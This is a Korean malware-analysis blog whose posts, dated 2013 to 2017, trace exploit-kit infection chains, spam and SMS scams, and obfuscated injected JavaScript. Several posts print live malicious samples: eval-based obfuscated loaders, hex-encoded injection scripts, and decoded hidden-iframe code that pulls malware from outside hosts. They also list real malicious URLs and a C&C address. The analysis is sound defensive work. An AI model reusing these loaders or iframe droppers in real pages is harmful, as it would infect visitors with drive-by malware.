posted by Kwan's 2017.04.24 15:31


회사를 퇴사하고 나서 가끔씩 글을 쓸 예정 입니다.

정보가 많이 부족하긴 하지만 악성 스크립트 (국내 + 해외) / 파일분석 등을 적을 예정 입니다.

포스팅을 하는 이유는 그냥 심심해서 입니다.


1. 발견 사이트 (유포지)

cocoalba.kr/autojump/ad_xxxx/index.html


2. 최종 파일

leeve.co.kr/apps/up.exe (현재 404)

MD5 : 0952d38bf8b3f026cb3c41c87db338a7

C&C : r.pengyou.com/fcg-bin/cgi_get_portrait.fcg?uins=2889622357

[VT 결과]

virustotal.com/ko/file/1dd1dbd6631b8b0b87d7bbab7aff004c983dbe87ba6c9e7fed851de4786e6ae1/analysis/


3. 스크립트


초기 스크립트를 확인해보면 제가 마지막으로 본 이전 버전과는 다를게 많이 없습니다.

하지만, 해당 코드를 1차적으로 디코딩을 하면 새로운 값과 기존과 다른 스크립트가 있는 것을 확인할 수 있습니다.



- 1차 디코딩 스크립트


1차적으로 디코딩된 스크립트 같은 경우에는 난독화 부분과 디코딩을 위한 연산 부분을 나눌 수가 있으며, 최종 적으로는 t=utf8to16(nbencode(nbcode(t),JbWRn$q7)) 이부분을 통해 난독화가 해제 됩니다.



- 최종 스크립트


해제된 난독화를 살펴보면, _0x4b88로 정의되어 있는 것부터 시작을 한다.

_0x4b88 같은 경우에는 취약점으로 분기될 수 있도록 배열 형식에 맞춰 사용되도록 스크립트 구문을 공격자가 생성해놓았습니다.


[스크립트]


더보기


더보기


var _0x4b88 에정의된 내용


더보기


마지막으로 취약점으로 연결할 때에는 "var jaguarx=jaguar+" 이와 같이 정의가 되어 있는 것을 볼 수 있는데, 이것은 초기 스크립트내에서 정의 되어 있는 것을 확인하시면 됩니다.

참고로, jaguar = RhRdQk 입니다.

또한, exe 파일 같은 경우에도 초기에 복잡하게 되어 있는 것처럼 보이지만 기존과 별로 차이가 없습니다.


---------------------------

웹 페이지 메시지

---------------------------

http://leeve.co.kr/apps/up.exe

---------------------------

확인   

---------------------------


취약점같은 경우에는 세부적으로 보지는 않았지만, 거의 비슷한거 같아서 추후 포스팅을 하겠습니다.


몇년만에 쓰니까 잘 안써지지만, 꾸준히 포스팅을 하겠습니다.


마지막으로 심심할때마다 뭔가를 던져주는 창훈이에게 고맙다는 말을 전합니다!


감사합니다~


posted by Kwan's 2015.09.01 16:01

그냥 국내 웹사이트 중 리그킷 들어가 있는 곳을 발견해서 간단하게 흔적용으로 써봄.


1. 발견 사이트

http://www.irisxxxxxx.kr (꽃배달 사이트)

→ http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037

-→ http://new.ceptenporxxxxx.com/?xH6Af7iYJBvPCoo[하위생략] / (지속적인 링크 변경)

--→ http://new.ceptenporxxxxxx.com/index.php?xH6Af7iYJBvPCoo=[하위생략] / 최종 악성코드 다운로드


2. 삽입 형태

http://www.irisxxxxxx.kr

→ _script type="text/javascript" src="http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037"_


http://autoxxxx.ru/templates/atomic/z9jqqbt7.php?id=8515037

→ _document_write('_iframe src="http://new.ceptenporxxxxx.com/?xH6Af7iYJBvPCoo[하위생략] " style="left: -999px;top: -999px;position: absolute;" width="202" height="202"__/iframe_');


http://new.ceptenpoxxxxx.com/?xH6Af7iYJBvPCoo[하위생략]

→ /*(331387,4,14838)*/uo7("119p105p110p100");/* [생략]


3. 악성 스크립트 스샷

[그림 1. 난독화 된 RIG Exploit Kit 스크립트 ]


[그림 2. 디코딩 된 RIG Exploit Kit 스크립트]



[그림 3. 일부 디코딩 된 RIG Exploit Kit 스크립트 - CVE-2014-6332]




[그림 4. 디코딩 된 스크립트 중 일부 쉘코드에서 발견된 최종링크 연결]


4. 끄적끄적

분석을 방해하기 위한 주석등이 너무 많이 달림 일부 스크립트에서는 짤라서 쓰는걸 방지하기 위해 정의 선언이 되지 않은 코드도 넣음 지우고 처리하는데 조금 신경쓰임.. 국내에는 다양한 공격킷이 존재하지만 리그킷과 같은 경우 연구 대상(?) 다음번에는 앵글러를 한번 해 볼 생각...

아참 최종 유포지와 난독화 해제 부분만 언급했는데 어느 취약점을 이용하는지는 추후에 게시(?) 할 예정.

제목과 같이 그냥 끄적끄적..ㅎㅎ 이렇게 된다 정도?ㅎㅎ


[이전글]

2014/08/27 - [security/악성코드 유포] - RIG Exploit Kit 넌 누구냐?


TAG
posted by Kwan's 2014.08.27 13:24

올만에 블로그에 글을~

간단하게 스샷 몇개만 ... 추후에 자세히?!?


1. 초기 스크립트


2. 1차 난독화 해제



3. 2차 난독화 해제 (취약성 + 최종 링크)



간단하게 정리 했습니다. 정보는 추후에 봐서 공유 하도록 하겠습니다. 마지막으로 도움을 주신 모든분께 감사하다는 말씀 드리고 싶습니다.


posted by Kwan's 2014.01.08 04:00

우연히 인터넷 검색을 하던 도중 발견한 2012년 해외 포럼에 올라온 글이다. 

Malicious Code Inject: What Does It Do? 라는 것을 보던 중에 오래된 방법이지만 이런 방법도 있구나 해서 적어놓는다.


1. 발견지 포럼(Web Developer Forum) : http://www.webdeveloper.com/forum/showthread.php?261600-Malicious-Code-Inject-What-Does-It-Do (Malicious Code Inject: What Does It Do?)

-> http://oolbrmp.tld.cc/d/404.php?go=1 (window.location _=_ "http://fukbb.com")

--> http://fukbb.com


2. 디코딩 순서 : 초기사이트 접속 -> Base 64 난독화  -> 일부 디코딩 -> Base 64 난독화 -> Blockhole 난독화 -> 디코딩


3. Web Developer Forum - 스샷



4. 난독화 해제

   가. 원본 소스


  나. 1차 디코딩 - 일부 base 64


  다. 2차 디코딩 - 남은 일부 base 64


  라. 3차 디코딩 - Blockhole(최종)


  마. http://oolbrmp.tld.cc/d/404.php?go=1 - window.location 통한 리다이렉팅


  라. 최종 도메인 - fukbb.com



5. 도메인 위치

  가. oolbrmp.tld.cc


  나. fukbb.com


6. 악성스크립트 - 바이러스 토탈 결과

* 바이러스 토탈 업로드 시 악성 스크립트 부분만 발췌해서 업로드 했습니다.



6. 번외편 - 이것의 결과는?

- 힌트 : HTML-CSS

* &lt; - 부등호(<)

* &gt; - 부등호(>)

* &quot; - 쌍따옴표(") 하나 

 &lt;

 script&gt;

 try

 {

   q=document.createElement(&quot;

   p&quot;

   );

   q.appendChild(q+&quot;

   &quot;

   );

 }

 catch(qw)

 {

   h=-012/5;

   try

   {

     bcsd=prototype-2;

   }

   catch(bawg)

   {

     ss=[];

     f=(h)?(&quot;

     fromCharC&quot;

     +&quot;

     ode&quot;

     ):&quot;

     &quot;;

     e=window[&quot;

     e&quot;

     +&quot;

     val&quot;

     ];

     n=[9,18,315,408,32,80,300,444,99,234,327,404,110,232,138,412,101,232,207,432,101,218,303,440,116,230,

198,484,84,194,309,312,97,218,303,160,39,196,333,400,121,78,123,364,48,186,123,492,13,18,27,36,105,

204,342,388,109,202,342,160,41,118,39,36,9,250,96,404,108,230,303,128,123,26,27,36,9,200,333,396,

117,218,303,440,116,92,357,456,105,232,303,160,34,120,315,408,114,194,327,404,32,230,342,396,61,78,

312,464,116,224,174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,

52,92,336,416,112,126,309,444,61,98,117,128,119,210,300,464,104,122,117,196,48,78,96,416,101,210,

309,416,116,122,117,196,48,78,96,460,116,242,324,404,61,78,354,420,115,210,294,420,108,210,348,

484,58,208,315,400,100,202,330,236,112,222,345,420,116,210,333,440,58,194,294,460,111,216,351,

464,101,118,324,404,102,232,174,192,59,232,333,448,58,96,177,156,62,120,141,420,102,228,291,436

,101,124,102,164,59,26,27,36,125,26,27,36,102,234,330,396,116,210,333,440,32,210,306,456,97,218,

303,456,40,82,369,52,9,18,27,472,97,228,96,408,32,122,96,400,111,198,351,436,101,220,348,184,99,

228,303,388,116,202,207,432,101,218,303,440,116,80,117,420,102,228,291,436,101,78,123,236,102,92,

345,404,116,130,348,464,114,210,294,468,116,202,120,156,115,228,297,156,44,78,312,464,116,224,

174,188,47,222,333,432,98,228,327,448,46,232,324,400,46,198,297,188,100,94,156,192,52,92,336

,416,112,126,309,444,61,98,117,164,59,204,138,460,116,242,324,404,46,236,315,460,105,196,315,

432,105,232,363,244,39,208,315,400,100,202,330,156,59,204,138,460,116,242,324,404,46,224,333

,460,105,232,315,444,110,122,117,388,98,230,333,432,117,232,303,156,59,204,138,460,116,242,324,

404,46,216,303,408,116,122,117,192,39,118,306,184,115,232,363,432,101,92,348,444,112,122,117,

192,39,118,306,184,115,202,348,260,116,232,342,420,98,234,348,404,40,78,357,420,100,232,312

,156,44,78,147,192,39,82,177,408,46,230,303,464,65,232,348,456,105,196,351,464,101,80,117,416,

101,210,309,416,116,78,132,156,49,96,117,164,59,26,27,36,9,200,333,396,117,218,303,440,116,92,

309,404,116,138,324,404,109,202,330,464,115,132,363,336,97,206,234,388,109,202,120,156,98,222,

300,484,39,82,273,192,93,92,291,448,112,202,330,400,67,208,315,432,100,80,306,164,59,26,27,36,

125];

     if(window.document)for(i=6-2-1-2-1;-581+i!=2-2;i++)

     {

       k=i;

       ss=ss+String[f](n[k]/(i%(h*h)+2-1));

     }

     e(ss);

   }

 }

 &lt;

 /script&gt;


글 중간에 바이러스 토탈 결과를 보듯이 난독화가 된 악성 스크립트의 차단 비율은 그다지 높지 않는거 같다. 또한, 이처럼 단순 난독화가 아닌 현재 국내에서 다수 나타나고 있는 공다팩처럼 복잡하게 난독화된 기술은 더욱 탐지하기 힘들것으로 보이며 악성링크를 사전에 차단을 통해 피해를 줄이는 방안도 하나의 방법이라고 생각한다. 하지만, 어느 한편의 입장에서는 악성링크를 통해 다운로드되는 파일만 막으면 되지 라는 말도 할 수 있다. 어떻게 보면 이 둘다 맞는 말이라고 할 수도 있다. 그러나 한번에 한마리의 토끼를 잡는것 보다 한번에 두마리 토끼를 잡는 방법도 있듯이 두마리의 토끼를 한번에 잡는다면 주말에 안심하고 웹서핑을 할 수 있지 않을까 하는 생각이 된다.


posted by Kwan's 2013.10.22 00:43

오랜만에 악성스크립트로 연결시키는 스팸메일을 내 이메일을 통해 받아서 기록해 둔다.


발신 : <richartl@bladechevy.com>

수신 : <power2618@naver.com>

날짜 : 13-10-21 (월) 03:21

제목 : I want you to be healthy


[본문 내용] 

<html><body>

http://mhr.ro/pride.html Do you know what your lover wants during nights?

<_body><_html>


[발신자 정보 위치 - bladechevy.com]



[http://mhr.ro/pride.html - 사이트 본문 내용]



[디코딩]


Redirecting -> http://albertacanadapills.nl">


-----------------------------------------------------------------------------------------------


 function q09() {

 var static='ajax';

 var controller='index.php';

 var q = document.createElement('iframe');


 q.src = 'http://lanotfo.com/exit.php';

 q.style.position = 'absolute';

 q.style.color = '55';

 q.style.height = '55px';

 q.style.width = '55px';

 q.style.left = '100055';

 q.style.top = '100055';


 if (!document.getElementById('q')) {

 document.write('<p id=\'q\' class=\'q09\' ></p>');

 document.getElementById('q').appendChild(q);

 }

}

function SetCookie(cookieName,cookieValue,nDays,path) {

 var today = new Date();

 var expire = new Date();

 if (nDays==null || nDays==0) nDays=1;

 expire.setTime(today.getTime() + 3600000*24*nDays);

 document.cookie = cookieName+"="+escape(cookieValue)

 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");

}

function GetCookie( name ) {

 var start = document.cookie.indexOf( name + "=" );

 var len = start + name.length + 1;

 if ( ( !start ) &&

 ( name != document.cookie.substring( 0, name.length ) ) )

 {

 return null;

 }

 if ( start == -1 ) return null;

 var end = document.cookie.indexOf( ";", len );

 if ( end == -1 ) end = document.cookie.length;

 return unescape( document.cookie.substring( len, end ) );

}

if (navigator.cookieEnabled)

{

if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');


q09();

}

}


[세부 정보]


http://lanotfo.com/exit.php // 500 internal server error

=========================

Server IP(s):

0.0.0.0

=========================



http://albertacanadapills.nl



[도식화]





posted by Kwan's 2013.07.02 18:30


우연히 돌아다니다가 발견해서 끄적끄적 해본다.....

최종 접속 시 왜 ok 라는 시그널만 내보낼까 궁금하다................

쿠키값때문인가??

아시는 분 계시면 알려주세요~ : )




e=eval;v="0"+"x";a=0;z="y";try{a*=2}catch(q){a=1}if(!a){try{document["\x62od"+z]++}catch(q){a2="_"}z=[생략]"

["split"](a2);za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;e(zaz);}


za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;e(zaz); 

// 계산식

za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-4-3);}zaz=za;alert(zaz); 

// 출력


Deviced.com | Deviced IP Lookup (IP: 84.38.68.117)

Hostname:deviced.com
IP Address:84.38.68.117
Host of this IP:vserver2407.vserver-on.de
Organization:ispOne business GmbH
ISP:ispOne business GmbH
City:-
Country:Germany 
State:-
Timezone:-
Local Time:

-





posted by Kwan's 2013.05.31 21:06

한동안 잠잠했던 Red Exploit Kit 이 Cool Exploit Kit 으로 변경되어서 출현 하였다.

우연히 발견하여서 도식화를 시켜놓는다. 국내에는 별로 영향력이 없지만 해외에서는 그래도 종종 나오나 보다.


검색을 하면 국내보다는 해외 블로그가 더 많이 보인다. 최근에 본 Sakura Exploit kit 에 이어서 Cool Exploit Kit 까지 국내에는 95% 공다팩이라면 해외에서는 Blackhole Exploit Kit ,Cool Exploit kit, Sakura Exploit kit 까지 많은 킷들이 활동을 하고 있다.




Cool Exploit kit 자세한 정보 : http://malware.dontneedcoffee.com/2013/04/cve-2013-2423-integrating-exploit-kits.html 여기를 확인 하면 된다.


posted by Kwan's 2013.05.11 17:02

스팸문자가 많은 요즘 한 통의 문자가 나에게 왔다.

내용은 너무 선정적이라서 패쓰! 옆집 어쩌구 저쩌구......... 하면서 URL : http://thankyXX5.kr 왔다. 



무료보기 3일뒤에 쥐도새도 모르게 16500원이 결제된다고 한다.


그럼 이용약관이 어떻게 될까 확인해보자........


일단 이번에 새로 발효된 개인정보보호법 중 일부분 !


2013년 2월 18일부터 시행되는 온라인상의 주민등록번호 수집 · 이용 금지에 따라서

이제 인터넷에서 신규 회원 가입시 주민등록번호를 이용해서 가입할수 없습니다.

(정보통신망 이용촉진 및 정보보호등에 관한 법률 제 23조의 2항(주민등록번호 사용제한 조항))

 

2월 18일부터는 주민등록번호 수집.이용 금지 관련 법률 조항에 따라 

회사는 온라인 회원가입 시 주민등록번호를 수집하지 않아야 하며

주민등록번호를 활용한 본인인증 수단을 이용할 수 없습니다.

 

따라서, 회원가입 시 주민등록번호를 입력하는 절차가 사라지게 되며 법률에서 허용하는 경우에 한해 수집이 허용됩니다.

- 수집허용범위: 금융실거래법, 부가가치세법, 소득세법, 신용정보보호법, 전자서명법

- 수집허용기관: 금융기관, 본인인증기관 등 - 수집허용업무: 결제, 세금계산서, 제세공과금 등 업무 진행 시


2013년 2월 18일부터는 주민등록수집을 일체 금하게 되어있다.




위 사이트의 개인정보정책은 다음과 같다.


회사는 개인정보취급방침을 통하여 고객님께서 제공하시는 개인정보가 어떠한 용도와 방식으로 이용되고 있으며, 개인정보보호를 위해 어떠한 조치가 취해지고 있는지 알려드립니다.

회사는 개인정보취급방침을 개정하는 경우 웹사이트 공지사항(또는 개별공지)을 통하여 공지할 것입니다.

ο 본 방침은 : 2012년 8월 16일 부터 시행됩니다.


■ 수집하는 개인정보 항목

회사는 회원가입, 상담, 서비스 신청 등등을 위해 아래와 같은 개인정보를 수집하고 있습니다.

ο 수집항목 : 이름 , 생년월일 , 성별 , 로그인ID , 비밀번호 , 휴대전화번호 , 이메일 , 주민등록번호 , 서비스 이용기록 , 접속 로그 , 접속 IP 정보 , 결제기록 , 닉네임, 사용자 로그

ο 개인정보 수집방법 : 홈페이지(회원가입) , 경품 행사 응모 , 배송 요청 , 생성정보 수집 툴을 통한 수집 


■ 개인정보의 수집 및 이용목적

회사는 수집한 개인정보를 다음의 목적을 위해 활용합니다.

ο 서비스 제공에 관한 계약 이행 및 서비스 제공에 따른 요금정산 구매 및 요금 결제 , 물품배송 또는 청구지 등 발송

ο 회원 관리

회원제 서비스 이용에 따른 본인확인 , 개인 식별 , 불량회원의 부정 이용 방지와 비인가 사용 방지 , 연령확인 , 만14세 미만 아동 개인정보 수집 시 법정 대리인 동의여부 확인 , 불만처리 등 민원처리 , 고지사항 전달

ο 마케팅 및 광고에 활용

이벤트 등 광고성 정보 전달 , 인구통계학적 특성에 따른 서비스 제공 및 광고 게재, 회사가 운영하는 서비스 정보전달, 회사가 운영하는 독립무선망 SMS 마케팅


명백하게 위반을 하고 있는 사례라고 볼 수 있다.


Cookie: PHPSESSID=a3c9f1[생략]5607758c9c9558c


hp=01012341234&ju=1234561234567&hp_com=&adkey=NTUyMTAw

HP = 핸드폰 번호

JU = 주민등록번호


이것을 수집한 정보는 http://thankXXX5.kr/proc/cert.php (115.68.15.22) 로 전송이 되고 있다.


IP Lookup Result for 115.68.15.22

IP Address:115.68.15.22
Organization:Smileserv
ISP:Smileserv
City:-
Country:Korea, Republic of 
State:-
Timezone:-
Local Time:-



이런식으로 개인의 정보를 가져가는 곳이 하루빨리 시정이 되었으면 한다.


법을 발효가 되었지만 이런곳을 보면 마음이 아프다. 하루 빨리 시정이 되어서 저런 일이 없었으면 한다.


posted by Kwan's 2013.02.14 20:24

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.

try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!

ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n


이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.


s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )



if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/

우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )

마지막으로 도움을 주신 바이올렛님께 감사를 드립니다 : )


posted by Kwan's 2013.01.24 20:10

발견지 : http://integridesign.com/David/index.php?target=contact

* 위 페이지 접속시 악성스크립트에 감염 될 수도 있습니다!


위와같이 사이트 접속시 정상 스크립트 내에 이와같이 알수 없는 문구들로 이어진 스크립트를 발견 할 수 있습니다!


</body>

</HTML>

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f766e627

57974612e636f2e62652f666f72756d2e7068703f74703d3637356561666563343331623166373222207

7696474683d223122206865696768743d223122206672616d65626f726465723d223

[생략]";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>


<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65

726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d363735656166656334333162316

63732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223

e3c[생략]";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>


<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63

756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d3637356561666563343331623

1663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230

223e[생략]";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>


잠깐 확인을 해보자면 이 코드는 간단하다.

 "var t" 로 지정되어있는 값이 String.fromCharCode 거쳐 eval 함수에서 출력이 된다 !

알수 없이 이어진 숫자들은 바로 16진수 HEX 코드이다.

HEX 코드를 다시 문자열로 변환하는 방법은 아스키 코드표를 보면 쉽게 스크립트가 어디로 연결 되어 있는지를 볼 수 있다 !


Decode 를 해보면 연결되는 사이트는 다음과 같다 !


document.write('<iframe src="http://vnbuyta.co.be/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')


=========================

Server IP(s):

0.0.0.0

=========================


document.write('<iframe src="http://americanmobile.ca/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')


=========================

Server IP(s):

0.0.0.0

=========================


document.write('<iframe src="http://locumresources.com/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')


=========================

Server IP(s):

0.0.0.0

=========================


해당 사이트들은 현재 접속이 되고 있지 않다 !


하지만 스크립트를 보면서 조금만 문구를 변경하여도 못잡는것이 마음이 안타까웠다.....

문구를 var t -> var x 로 바꾸면 진단 못하는게 너무 허무하기도 하고 안타깝기도 했다.

역시 최선은 사용자가 접속하기 전에 미리 차단을 해버리는것이 제일 사용자를 지키는 일인거 같다!